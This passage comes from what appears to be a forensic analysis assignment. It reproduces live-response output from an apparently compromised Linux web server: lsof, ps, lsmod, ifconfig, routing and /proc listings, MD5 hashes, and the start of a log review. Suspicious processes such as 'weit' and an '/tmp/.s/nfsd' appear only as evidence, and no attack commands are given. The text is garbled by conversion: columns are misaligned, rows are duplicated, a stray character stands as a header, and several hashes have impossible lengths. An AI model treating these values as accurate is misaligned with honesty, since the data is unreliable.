<td>httpd</td>
<td>19374</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8301</td>
<td>229506</td>
</tr>
<tr>
<td>httpd</td>
<td>19374</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>17638</td>
<td>229514</td>
</tr>
<tr>
<td>httpd</td>
<td>19374</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>7438</td>
<td>229513</td>
</tr>
<tr>
<td>httpd</td>
<td>19374</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8530</td>
<td>229515</td>
</tr>
<tr>
<td>httpd</td>
<td>19374</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8274</td>
<td>229505</td>
</tr>
<tr>
<td>httpd</td>
<td>19374</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>58</td>
<td>179360</td>
</tr>
</tbody>
</table>

---

Kevin Miller - Sans GCFA Assignment – v1.4
Page 165
Kevin Miller - Sans GCFA Assignment – v1.4

httpd 19375 root mem REG 3,5 655224 63543 /lib/libdb-3.3.so
httpd 19375 root mem REG 3,2 19662 66292 /usr/lib/libxml.so.11.0.23
httpd 19375 root mem REG 3,2 141735 65380 /usr/lib/libexpat.so.0.1.0
httpd 19375 root mem REG 3,2 12102 65305 /lib/libclcl.so.2.2.5.so
httpd 19375 root mem REG 3,2 14929 229516 /usr/lib/apache/mod_mime.so
httpd 19375 root mem REG 3,2 27415 229519 /usr/lib/apache/mod_negotiation.so
httpd 19375 root mem REG 3,2 18365 229523 /usr/lib/apache/mod_status.so
httpd 19375 root mem REG 3,2 19959 229512 /usr/lib/apache/mod_info.so
httpd 19375 root mem REG 3,2 35886 229511 /usr/lib/apache/mod_include.so
httpd 19375 root mem REG 3,2 27836 229501 /usr/lib/apache/mod_autoindex.so
httpd 19375 root mem REG 3,2 14940 229503 /usr/lib/apache/mod_cgi.so
httpd 19375 root mem REG 3,2 6924 229496 /usr/lib/apache/mod_asis.so
httpd 19375 root mem REG 3,2 15974 229510 /usr/lib/apache/mod_imap.so
httpd 19375 root mem REG 3,2 8541 229494 /usr/lib/apache/mod_actions.so
httpd 19375 root mem REG 3,2 8770 229525 /usr/lib/apache/mod_userdir.so
httpd 19375 root mem REG 3,2 10617 229495 /usr/lib/apache/mod_alias.so
httpd 19375 root mem REG 3,2 53189 229520 /usr/lib/apache/mod_rewrite.so
httpd 19375 root mem REG 3,2 10034 229493 /usr/lib/apache/mod_access.so
httpd 19375 root mem REG 3,2 11985 229497 /usr/lib/apache/mod_auth.so
httpd 19375 root mem REG 3,2 8486 229498 /usr/lib/apache/mod_auth_anon.so
httpd 19375 root mem REG 3,2 9304 229499 /usr/lib/apache/mod_auth_db.so
httpd 19375 root mem REG 3,2 9900 229508 /usr/lib/apache/mod_expires.so
httpd 19375 root mem REG 3,2 8261 229509 /usr/lib/apache/mod_headers.so
httpd 19375 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 19375 root mem REG 3,2 92407 440046

/usr/lib/kerberos/lib/libgssapi_krb5.so.2.2
httpd 19375 root mem REG 3,5 11174 63541 /lib/libutil-2.2.5.so
httpd 19375 root mem REG 3,2 122952 229529 /usr/lib/apache/libdsav.so
httpd 19375 root mem REG 3,2 210094 229531 /usr/lib/apache/libssl.so
httpd 19375 root mem REG 3,2 1453198 425001 /usr/lib/phpldap.so
httpd 19375 root mem REG 3,2 8621 440043 /usr/kerberos/lib/libcom_err.so.3.0
httpd 19375 root mem REG 3,2 20666 114263 /usr/lib/locale/en_US.iso885915/LC_COLLATE
httpd 19375 root mem REG 3,5 89424 63507 /lib/libxml-2.2.5.so
httpd 19375 root mem REG 3,2 1561021 229551 /usr/lib/apache/libphp4.so
httpd 19375 root mem REG 3,2 28138 66033 /usr/lib/libltdl.so.3.1.0
httpd 19375 root mem REG 3,2 5300 66039 /usr/lib/libpcre.so.3.1.0
httpd 19375 root mem REG 3,2 246442 65304 /usr/lib/libstdc++.so.3
httpd 19375 root mem REG 3,2 131560 65396 /usr/lib/libpng.so.2.10.0.so
httpd 19375 root mem REG 3,2 59778 65358 /usr/lib/libbz2.so.1.0.2
httpd 19375 root mem REG 3,2 146819 66089 /usr/lib/libcurl.so.2.0.2
httpd 19375 root mem REG 3,2 924879 65362 /usr/lib/libcrypto.so.3.0.6b
httpd 19375 root mem REG 3,2 207008 65363 /usr/lib/libssl.so.0.9.6b
httpd 19375 root mem REG 3,2 68925 65355 /usr/lib/libgmp.so.3.0.3
httpd 19375 root mem REG 3,2 153026 66042 /usr/lib/libjpeg.so.62.0.0
httpd 19375 root mem REG 3,2 290511 65311 /usr/lib/libstdc++.so.3.2.5
httpd 19375 root mem REG 3,2 215482 65386 /usr/lib/libpng.so.2.10.0.so
httpd 19375 root mem REG 3,2 196866 66287 /usr/lib/libgd.so.1.8.4
httpd 19375 root mem REG 3,2 717774 65410 /usr/lib/libxml.so.2.2.4.19
httpd 19375 root mem REG 3,2 66646 65263 /usr/lib/libxml.so.2.1.0.2
httpd 19375 root mem REG 3,2 189626 65384 /usr/lib/libtiff.so.4.0.3
httpd 19375 root mem REG 3,2 295833 65382 /usr/lib/libjpeg.so.62.0.0
httpd 19375 root mem REG 3,2 140418 65389 /usr/lib/libjpeg.so.62.0.0

© SANS Institute 2004, Author retains full rights.
Kevin Miller - Sans GCFA Assignment – v1.4

httpd 19375 root mem REG 3,2 79725 440048
/usr/kerberos/lib/libk5crypto.so.3.0
httpd 19375 root mem REG 3,2 42069 425002 /usr/lib/php/ldap.so
httpd 19375 root mem REG 3,2 44992 65349 /usr/lib/libibiberver.so.2.0.15
httpd 19375 root mem REG 3,2 45415 65353 /lib/libnss_files-2.2.5.so
httpd 19375 root mem REG 3,2 2457 130317 /usr/kerberos/lib/libk5crypto.so.3.1
httpd 19375 root mem REG 3,2 92407 440046 /dev/null
httpd 19375 root mem REG 3,2 79725 440048
httpd 19375 root mem REG 3,2 173680 130324

httpd 19375 root mem REG 3,2 1264225 229530 /usr/lib/apache/libperl.so
httpd 19375 root mem REG 3,2 191615 65351 /usr/lib/libldap.so.so.2.0.15
httpd 19375 root mem REG 3,2 48583 65345 /usr/lib/libnss_files.so.7.1.8
httpd 19375 root mem REG 3,2 46117 65351 /lib/libnss_nisplus-2.2.5.so
httpd 19375 root mem REG 3,2 1401027 71370 /lib/ld-2.2.5.so
httpd 19375 root 0r CHR 1,3 9637 /dev/null
httpd 19375 root 1w CHR 1,3 9637 /dev/null
httpd 19375 root 2w REG 3,6 1729 44202 /var/log/httpd/error_log
httpd 19375 root 3u REG 3,6 0 38183 /var/run/httpd_mm.8124.sem
httpd 19375 root 4u REG 3,5 0 26691 /tmp/session_mm_apache0.sem

httpd 19375 root 5u REG 3,5 8192 26693 /tmp/session_mm_apache0.sem
httpd 19375 root 15w REG 3,6 1729 44202 /var/log/httpd/error_log
httpd 19375 root 16u IPv4 361623 TCP *:https (LISTEN)
httpd 19375 root 17u IPv4 361624 TCP *:http (LISTEN)
httpd 19375 root 18w REG 3,6 265 44201 /var/log/httpd/access_log
httpd 19376 root cwd DIR 3,5 1024 2 /
httpd 19376 root rtd DIR 3,5 1024 2 /
httpd 19376 root txt REG 3,2 290169 131802 /tmp/session_mm_apache0.sem
httpd 19376 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
httpd 19376 root mem REG 3,2 9883 229527 /usr/lib/apache/mod_vhost_alias.so
httpd 19376 root mem REG 3,2 8301 229506 /usr/lib/apache/mod_env.so
httpd 19376 root mem REG 3,2 17638 229514 /usr/lib/apache/mod_log_config.so
httpd 19376 root mem REG 3,2 7438 229513 /usr/lib/apache/mod_log_agent.so
httpd 19376 root mem REG 3,2 8530 229515 /usr/lib/apache/mod_log_referer.so
httpd 19376 root mem REG 3,2 8274 229505 /usr/lib/apache/mod_dir.so
httpd 19376 root mem REG 3,2 371 130311

httpd 19376 root mem REG 3,2 17335 63523 /lib/libm
httpd 19376 root mem REG 3,5 46120 65349 /usr/lib/liblber.so.2.0.15
httpd 19376 root mem REG 3,5 42069 425002 /usr/lib/php/ldap.so
httpd 19376 root mem REG 3,5 229517 65351 /usr/lib/libdbm.so.so.2.0.0
httpd 19376 root mem REG 3,2 30282 65351 /lib/libnss_files.so.7.1.8
httpd 19376 root mem REG 3,2 371 130322 /usr/lib/locale/en_US.iso885915/LC_CTYPE
httpd 19376 root mem REG 3,2 371 130322 /usr/lib/locale/en_US.iso885915/LC_TIME
httpd 19376 root mem REG 3,2 60 130317 /usr/lib/locale/en_US.iso885915/LC_NUMERIC
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Type</th>
<th>Flags</th>
<th>Stat</th>
<th>Size</th>
<th>File</th>
</tr>
</thead>
<tbody>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>65</td>
<td>130316</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_TELEPHONE</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>161</td>
<td>130310</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>83</td>
<td>130314</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>40</td>
<td>130315</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>89424</td>
<td>65304</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1561021</td>
<td>130323</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>295833</td>
<td>65382</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>196866</td>
<td>66287</td>
</tr>
<tr>
<td>/usr/lib/libpng.so.2.1.0.12</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>717774</td>
<td>65410</td>
</tr>
<tr>
<td>/usr/lib/libz.so.1.1.3</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>426642</td>
<td>65304</td>
</tr>
<tr>
<td>/usr/lib/libcurl.so.2.0.2</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>924879</td>
<td>65311</td>
</tr>
<tr>
<td>/usr/lib/libssl.so.0.9.6b</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>215482</td>
<td>65384</td>
</tr>
<tr>
<td>/usr/lib/libpspell.so.4.0.3</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>189626</td>
<td>65384</td>
</tr>
<tr>
<td>/usr/lib/libncurses.so.5.2</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>79725</td>
<td>65408</td>
</tr>
<tr>
<td>/usr/lib/libgmp.so.3.2.1</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>79725</td>
<td>65408</td>
</tr>
<tr>
<td>/usr/lib/libgd.so.1.8.4</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>153026</td>
<td>66042</td>
</tr>
<tr>
<td>/usr/lib/libxml2.so.2.4.19</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1264225</td>
<td>130324</td>
</tr>
<tr>
<td>/usr/lib/libjpeg.so.62.0.0</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1264225</td>
<td>130324</td>
</tr>
<tr>
<td>/usr/lib/libxml2.so.2.4.19</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1264225</td>
<td>130324</td>
</tr>
<tr>
<td>/usr/lib/libjpeg.so.62.0.0</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1264225</td>
<td>130324</td>
</tr>
<tr>
<td>/usr/lib/libxml2.so.2.4.19</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1264225</td>
<td>130324</td>
</tr>
</tbody>
</table>

---

Kevin Miller - Sans GCFA Assignment – v1.4

Page 169
Kevin Miller - Sans GCFA Assignment – v1.4
Page 170

httpd 19376 root 18w REG 3,6 265 44201 /var/log/httpd/access_log
httpd 19376 root 19w REG 3,6 0 44198 /var/log/httpd/ssl_request_log
minilogd 19365 root cwd DIR 3,5 1024 2 /net/httpd
minilogd 19365 root rtd DIR 3,5 1024 2 /net/httpd
minilogd 19365 root txt REG 3,5 8896 71809 /sbin/minilogd
minilogd 19365 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
minilogd 19365 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
minilogd 19365 root 0u CHR 1,3 9637 /dev/null
minilogd 19365 root 1u CHR 1,3 9637 /dev/null
minilogd 19365 root 2u CHR 1,3 9637 /dev/null
minilogd 19365 root 3u REG 3,6 0 38183 /var/run/httpd_mm.8124.sem
minilogd 19365 root 4u REG 3,5 0 26691 /tmp/session_mm_apache0.sem

(http deleted)

minilogd 19365 root 5u REG 3,5 8192 26693 /tmp/session_mm_apache0.sem
minilogd 19365 root 6u sock 0,0 0 550563 can't identify protocol
minilogd 19365 root 7u CHR 1,3 9637 /dev/null
minilogd 19365 root 8u unix Octlf80540 551280 /dev/log
minilogd 19365 root 9u IPv4 361623 TCP *:https (LISTEN)
minilogd 19365 root 10w REG 3,6 265 44201 /var/log/httpd/access_log
minilogd 19365 root 11w REG 3,6 0 44198 /var/log/httpd/ssl_request_log
weit 19678 root cwd DIR 3,5 2048 40961 /bin/chmod
weit 19678 root rtd DIR 3,5 1024 2 /
weit 19678 root txt REG 3,2 20914 34503 /usr/bin/weit
weit 19678 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
weit 19678 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
weit 19678 root 0u sock 0,0 0 44918 /var/log/httpd/error_log
weit 19678 root 1u sock 0,0 0 550563 can't identify protocol
weit 19678 root 2u sock 0,0 0 550563 can't identify protocol
weit 19678 root 3u REG 3,6 0 38183 /var/run/httpd_mm.8124.sem
weit 19678 root 4u REG 3,5 0 26691 /tmp/session_mm_apache0.sem

(http deleted)

weit 19678 root 5u REG 3,5 8192 26693 /tmp/session_mm_apache0.sem
weit 19678 root 6u sock 0,0 0 550563 can't identify protocol
weit 19678 root 7r DIR 3,5 1024 53319 /tmp/.socket
weit 19678 root 8r DIR 3,5 40961 /bin/weit
weit 19678 root 9u IPv4 551503 UDP *:3049
weit 19678 root 10w REG 3,6 265 44201 /var/log/httpd/access_log
weit 19678 root 11w REG 3,6 0 44198 /var/log/httpd/ssl_request_log
popauth 19685 root cwd DIR 3,5 1024 2 /
popauth 19685 root rtd DIR 3,5 1024 2 /
popauth 19685 root txt REG 3,5 89547 63490 /lib/ld-2.2.5.so
popauth 19685 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
popauth 19685 root 0u sock 0,0 0 44918 /var/log/httpd/error_log
popauth 19685 root 1u sock 0,0 0 550563 can't identify protocol
popauth 19685 root 2u sock 0,0 0 550563 can't identify protocol
popauth 19685 root 3u REG 3,6 0 38183 /var/run/httpd_mm.8124.sem
popauth 19685 root 4u REG 3,5 0 26691 /tmp/session_mm_apache0.sem

(http deleted)

popauth 19685 root 5u REG 3,5 8192 26693 /tmp/session_mm_apache0.sem
popauth 19685 root 6u sock 0,0 0 550563 can't identify protocol
popauth 19685 root 7c FIFO 0,5 551501 pipe
popauth 19685 root 8w FIFO 0,5 551501 pipe
popauth 19685 root 9u IPv4 551503 UDP *:3049
popauth 19685 root 10w REG 3,6 1729 44202 /var/log/httpd/error_log
popauth 19685 root 11w REG 3,6 0 44198 /var/log/httpd/ssl_request_log
chmod 19796 root cwd DIR 3,5 1024 2 /
chmod 19796 root rtd DIR 3,5 1024 2 /
chmod 19796 root txt REG 3,5 30102 40980 /bin/chmod
chmod 19796 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
chmod 19796 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
chmod 19796 root 0u sock 0,0 0 550563 can't identify protocol
chadm 19796 root 1u sock 0,0 0 550563 can't identify protocol
chadm 19796 root 2u sock 0,0 0 550563 can't identify protocol
chadm 19796 root 3u REG 3,6 0 38183 /var/run/httpd_mm.8124.sem
Kevin Miller - Sans GCFA Assignment – v1.4  Page 171

chmod 19796 root 4u REG 3,5 0 26691 /tmp/session_mm_apache0.sem
chmod 19796 root 5u REG 3,5 8192 26693 /tmp/session_mm_apache0.sem
chmod 19796 root 6u sock 0,0 550563 can't identify protocol
chmod 19796 root 7c DIR 3,5 1024 20563 /tmp/.s/nfsd
chmod 19796 root 8r DIR 3,5 2048 40961 /bin
chmod 19796 root 9u sock 0,0 552454 can't identify protocol
chmod 19796 root 10w REG 3,6 1729 44202 /var/log/httpd/error_log
chmod 19796 root 16u IPv4 361623 TCP :https (LISTEN)
chmod 19796 root 17u IPv4 361624 TCP :http (LISTEN)
chmod 19796 root 18w REG 3,6 0 44198 /var/log/httpd/ssl_request_log

nfsd 19810 root cwd DIR 3,5 2048 40961 /bin
nfsd 19810 root rtd DIR 3,5 1024 2 /

ps.txt

USER      PID         %CPU      %MEM      VSZ       RSS       TTY       STAT       START       TIME       COMMAND
root       1         0.0        0.3       1368       432       ?   S   Jun23 0:05        init
root       2         0.0        0.0        0        0        ?   S   Jun23 0:00        [kdevntd]
root       3         0.0        0.0        0        0        ?   S   Jun23 0:00        [kadmnd]
root       4         0.0        0.0        0        0       SW  Jun23 0:00        [ksoftirqd_CPU0]
root       5         0.0        0.0        0        0       SW  Jun23 0:03        [kswapd]
root       6         0.0        0.0        0        0       SW  Jun23 0:00        [bdflush]
root       7         0.0        0.0        0        0       SW  Jun23 0:00        [kudated]
root       8         0.0        0.0        0        0       SW  Jun23 0:00        [mdrecoveryd]
root       12        0.0        0.0        0        0       SW  Jun23 0:00        [kjournald]
root       91        0.0        0.0        0        0       SW  Jun23 0:00        [khubd]
root       186       0.0        0.0        0        0       SW  Jun23 0:00        [kjournald]
root       187       0.0        0.0        0        0       SW  Jun23 0:00        [kjournald]
root       188       0.0        0.0        0        0       SW  Jun23 0:00        [kjournald]
root       189       0.0        0.0        0        0       SW  Jun23 0:00        [kjournald]
rpcuser    657       0.0        0.4       1556       600       ?   S   Jun23 0:00        rpc.statd
root       770       0.0        0.3       1360       412       ?   S   Jun23 0:00        /usr/sbin/apmd -p 10 -m 5 -W -P
/etc/sysconfig/apm-scripts/apmscript
rpcuser    790       0.0        1.4       1884       1876       ?   SL  Jun23 0:01        ntmd -U ntp -g
root       842       0.0        0.4       2620       572       ?   S   Jun23 0:01        /usr/sbin/sshd
root       875       0.0        0.4       2196       560       ?   S   Jun23 0:00        xinetd -stayalive -reuse -pidfile
/var/run/xinetd.pid
root       916       0.0        0.7       4600       892       ?   S   Jun23 0:00        sendmail: accepting connections
Kevin Miller - Sans GCFA Assignment – v1.4

lsmod.txt

Module Size Used by Not tainted
nls_iso8859-1 3488 1 (autoclean)
iptables_filter 2752 0 (autoclean) (unused)
### ip_tables

```
<table>
<thead>
<tr>
<th>Service</th>
<th>Version</th>
<th>靖</th>
</tr>
</thead>
<tbody>
<tr>
<td>ip_tables</td>
<td>13984</td>
<td>[iptable_filter]</td>
</tr>
<tr>
<td>soundcore</td>
<td>6692</td>
<td>(autoclean)</td>
</tr>
<tr>
<td>autofs</td>
<td>12164</td>
<td>(autoclean) (unused)</td>
</tr>
<tr>
<td>eepr0100</td>
<td>20336</td>
<td>1</td>
</tr>
<tr>
<td>ide-cd</td>
<td>30272</td>
<td>(autoclean)</td>
</tr>
<tr>
<td>cdm</td>
<td>32192</td>
<td>(autoclean) [ide-cd]</td>
</tr>
<tr>
<td>usb-uhci</td>
<td>24484</td>
<td>0 (unused)</td>
</tr>
<tr>
<td>usbcore</td>
<td>73152</td>
<td>1 [usb-uhci]</td>
</tr>
<tr>
<td>ext3</td>
<td>67136</td>
<td>5</td>
</tr>
<tr>
<td>jbd</td>
<td>49400</td>
<td>5 [ext3]</td>
</tr>
</tbody>
</table>
```

### netstat-routes.txt

**Kernel IP routing table**

<table>
<thead>
<tr>
<th>Destination</th>
<th>Gateway</th>
<th>Genmask</th>
<th>Flags</th>
<th>MSS</th>
<th>Window</th>
<th>Irtt</th>
<th>Iface</th>
</tr>
</thead>
<tbody>
<tr>
<td>192.168.2.0</td>
<td>0.0.0.0</td>
<td>255.255.255.0</td>
<td>U</td>
<td>40</td>
<td>0</td>
<td>0</td>
<td>eth0</td>
</tr>
<tr>
<td>0.0.0.0</td>
<td>192.168.2.1</td>
<td>0.0.0.0</td>
<td>UG</td>
<td>40</td>
<td>0</td>
<td>0</td>
<td>eth0</td>
</tr>
</tbody>
</table>

### ifconfig.txt

**eth0**

- Link: Ethernet
- HWaddr: 00:50:8B:0D:50:56
- inet addr: 192.168.2.15
- Bcast: 192.168.2.255
- Mask: 255.255.255.0
- UP
- BROADCAST
- RUNNING
- PROMISC
- MULTICAST
- MTU: 1500
- Metric: 1
- RX packets: 56788
- errors: 0
- dropped: 0
- overruns: 0
- frame: 1
- TX packets: 94732
- errors: 0
- dropped: 0
- overruns: 0
- carrier: 0
- collisions: 3023
- txqueuelen: 100
- RX bytes: 11574349 (11.0 Mb)
- TX bytes: 15015679 (14.3 Mb)
- Interrupt: 11
- Base address: 0x1000

**eth1**

- Link: Ethernet
- HWaddr: 00:90:27:89:8E:64
- MULTICAST MTU: 1500 Metric: 1
- RX packets: 0
- errors: 0
- dropped: 0
- overruns: 0
- frame: 0
- TX packets: 0
- errors: 0
- dropped: 0
- overruns: 0
- carrier: 0
- collisions: 0
- txqueuelen: 100
- RX bytes: 0 (0.0 b)
- TX bytes: 0 (0.0 b)
- Interrupt: 11
- Base address: 0x3000

**lo**

- Link: Local Loopback
- inet addr: 127.0.0.1
- Mask: 255.0.0.0
- UP
- LOOPBACK RUNNING
- MTU: 16436 Metric: 1
- RX packets: 353
- errors: 0
- dropped: 0
- overruns: 0
- frame: 0
- TX packets: 353
- errors: 0
- dropped: 0
- overruns: 0
- carrier: 0
- collisions: 0
- txqueuelen: 0
- RX bytes: 44009 (42.9 Kb)
- TX bytes: 44009 (42.9 Kb)

### Proc-filesystem.txt

**total 1**

- dr-xr-xr-x 130 root root 0 Jun 23 05:58 .
- drwxr-xr-x 20 root root 1024 Jun 29 15:22 ..
- dr-xr-xr-x 3 root root 0 Jun 30 17:29 1
- dr-xr-xr-x 3 xfs xfs 0 Jun 30 17:29 1005
- dr-xr-xr-x 3 daemon daemon 0 Jun 30 17:29 1041
- dr-xr-xr-x 3 root root 0 Jun 30 17:29 1050
- dr-xr-xr-x 3 root root 0 Jun 30 17:29 1051
```bash
dr-xr-xr-x  3 root  root 0 Jun 30 17:29 28979
dr-xr-xr-x  3 userid userid 0 Jun 30 17:29 28981
dr-xr-xr-x  3 userid userid 0 Jun 30 17:29 28983
dr-xr-xr-x  3 root  userid 0 Jun 30 17:29 29021
dr-xr-xr-x  3 root  root 0 Jun 30 17:29 29024
dr-xr-xr-x  3 userid userid 0 Jun 30 17:29 29110
dr-xr-xr-x  3 userid userid 0 Jun 30 17:29 29120
dr-xr-xr-x  3 userid userid 0 Jun 30 17:29 29122
dr-xr-xr-x  3 userid userid 0 Jun 30 17:29 29124
dr-xr-xr-x  3 userid userid 0 Jun 30 17:29 29125
dr-xr-xr-x  3 userid userid 0 Jun 30 17:29 29129
dr-xr-xr-x  3 userid userid 0 Jun 30 17:29 29132
dr-xr-xr-x  3 userid userid 0 Jun 30 17:29 29133
dr-xr-xr-x  3 userid userid 0 Jun 30 17:29 29134
dr-xr-xr-x  3 root  root 0 Jun 30 17:29 29136
dr-xr-xr-x  3 root  root 0 Jun 30 17:29 29137
dr-xr-xr-x  3 root  root 0 Jun 30 17:29 29165
dr-xr-xr-x  3 root  root 0 Jun 30 17:29 29222
dr-xr-xr-x  3 root  root 0 Jun 30 17:29 29223
dr-xr-xr-x  3 root  root 0 Jun 30 17:29 3
dr-xr-xr-x  3 root  root 0 Jun 30 17:29 4
dr-xr-xr-x  3 root  root 0 Jun 30 17:29 5
dr-xr-xr-x  3 root  root 0 Jun 30 17:29 6
dr-xr-xr-x  3 userid userid 0 Jun 30 17:29 6133
dr-xr-xr-x  3 userid root 0 Jun 30 17:29 6135
dr-xr-xr-x  3 rcpu user rcpu user 0 Jun 30 17:29 657
dr-xr-xr-x  3 root  root 0 Jun 30 17:29 7
dr-xr-xr-x  3 userid userid 0 Jun 30 17:29 7168
dr-xr-xr-x  3 userid userid 0 Jun 30 17:29 7170
dr-xr-xr-x  3 root  userid 0 Jun 30 17:29 7203
dr-xr-xr-x  3 root  root 0 Jun 30 17:29 7206
dr-xr-xr-x  3 root  root 0 Jun 30 17:29 770
dr-xr-xr-x  3 ntp  ntp 0 Jun 30 17:29 790
dr-xr-xr-x  3 root  root 0 Jun 30 17:29 8
dr-xr-xr-x  3 root  root 0 Jun 30 17:29 8125
dr-xr-xr-x  3 root  root 0 Jun 30 17:29 8154
dr-xr-xr-x  3 root  root 0 Jun 30 17:29 842
dr-xr-xr-x  3 root  root 0 Jun 30 17:29 875
dr-xr-xr-x  3 root  root 0 Jun 30 17:29 91
dr-xr-xr-x  3 root  root 0 Jun 30 17:29 916
dr-xr-xr-x  3 root  root 0 Jun 30 17:29 935
dr-xr-xr-x  3 root  root 0 Jun 30 17:29 953
-r--r--r-- 1 root  root 0 Jun 30 17:29 apm
dr-xr-xr-x  4 root  root 0 Jun 23 11:58 bus
-r--r--r-- 1 root  root 0 Jun 30 17:29 cmdline
-r--r--r-- 1 root  root 0 Jun 30 17:29 cpuinfo
-r--r--r-- 1 root  root 0 Jun 30 17:29 devices
-r--r--r-- 1 root  root 0 Jun 30 17:29 dma
dr-xr-xr-x  2 root  root 0 Jun 30 17:29 driver
-r--r--r-- 1 root  root 0 Jun 30 17:29 exedomains
-r--r--r-- 1 root  root 0 Jun 30 17:29 fb
-r--r--r-- 1 root  root 0 Jun 30 17:29 filesystems
dr-xr-xr-x  2 root  root 0 Jun 30 17:29 fs
dr-xr-xr-x  4 root  root 0 Jun 30 17:29 ide
-r--r--r-- 1 root  root 0 Jun 30 17:29 interrupts
-r--r--r-- 1 root  root 0 Jun 30 17:29 iodmm
-r--r--r-- 1 root  root 0 Jun 30 17:29 ioports
dr-xr-xr-x  18 root  root 0 Jun 30 17:29 irq
-r-------- 1 root  root 134221824 Jun 30 17:29 kcore
-r-------- 1 root  root 0 Jun 30 17:29 kmov
-r-------- 1 root  root 0 Jun 30 17:29 kmovs
-r-------- 1 root  root 0 Jun 30 17:29 loadavg
-r-------- 1 root  root 0 Jun 30 17:29 locks
-r-------- 1 root  root 0 Jun 30 17:29 mdstat
-r-------- 1 root  root 0 Jun 30 17:29 meminfo
-r-------- 1 root  root 0 Jun 30 17:29 misc
-r-------- 1 root  root 0 Jun 30 17:29 modules
-lrwxrwxrwx 1 root  root 11 Jun 30 17:29 mounts -> self/mounts
-rw-r--r-- 1 root  root 66 Jun 23 12:00 mtrr
dr-xr-xr-x  3 root  root 0 Jun 30 17:29 net
-r--r--r-- 1 root  root 0 Jun 30 17:29 partitions
```

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
Kevin Miller - Sans GCFA Assignment – v1.4
Page 177

```
-r--r--r-- 1 root root 0 Jun 30 17:29 pci
lrwxrwxrwx 1 root root 64 Jun 30 16:44 self -> 29222
-r--r--r-- 1 root root 0 Jun 30 17:29 slabinfo
-r--r--r-- 1 root root 0 Jun 30 17:29 stat
-r--r--r-- 1 root root 0 Jun 30 17:29 swaps
dr-xr-xr-x 10 root root 0 Jun 30 17:29 sys
dr-xr-xr-x 2 root root 0 Jun 30 17:29 sysvipc
dr-xr-xr-x 4 root root 0 Jun 30 17:29 tty
-r--r--r-- 1 root root 0 Jun 30 17:29 version
```

**stoptime.txt**

Mon Jun 30 17:31:02 CST 2003

**Live-response-june30.md5**

df2abab55743c9e230e36930ea38bbab *ifconfig.txt
5fa09177f700a220d79c126cad2de36f4 *lsmod.txt
232cb032469842e965b877a0deec06a *lsof.txt
6cf1fc3e61d32283a0685464230cdfeb *netstat-routes.txt
662e133e3bc2f0600e62802ab0c0f09a *netstat-sockets.txt
345ad946355ca8c1c82323d5cf576c8f3 *proc-filelist.txt
b3a82cc22339e0b46157ea700d6564b1 *ps.txt
2117efa19b00e242c2ad902fc4dbeaa7 *starttime.txt
4987992ca38fbc2130a0f4ba5bff684 *stoptime.txt
5e344d4b030b44f1bcc4b4415b649293 *w.txt
Appendix E

Log File review

The log analysis consisted of analyzing the evidence from CDROM, Tag item #05. The log files were from the snort host, sebek log host and a dd image of the var partition from the central log server. MD5 hashes were included for each file on the CDROM.

It was noted that the evidence from the central log server was not gathered until October. The log rotation on the log server had over written the logs from June 29, 2003. To recover the deleted log file evidence the following was done:

1. The server was booted into single user mode with init 0.
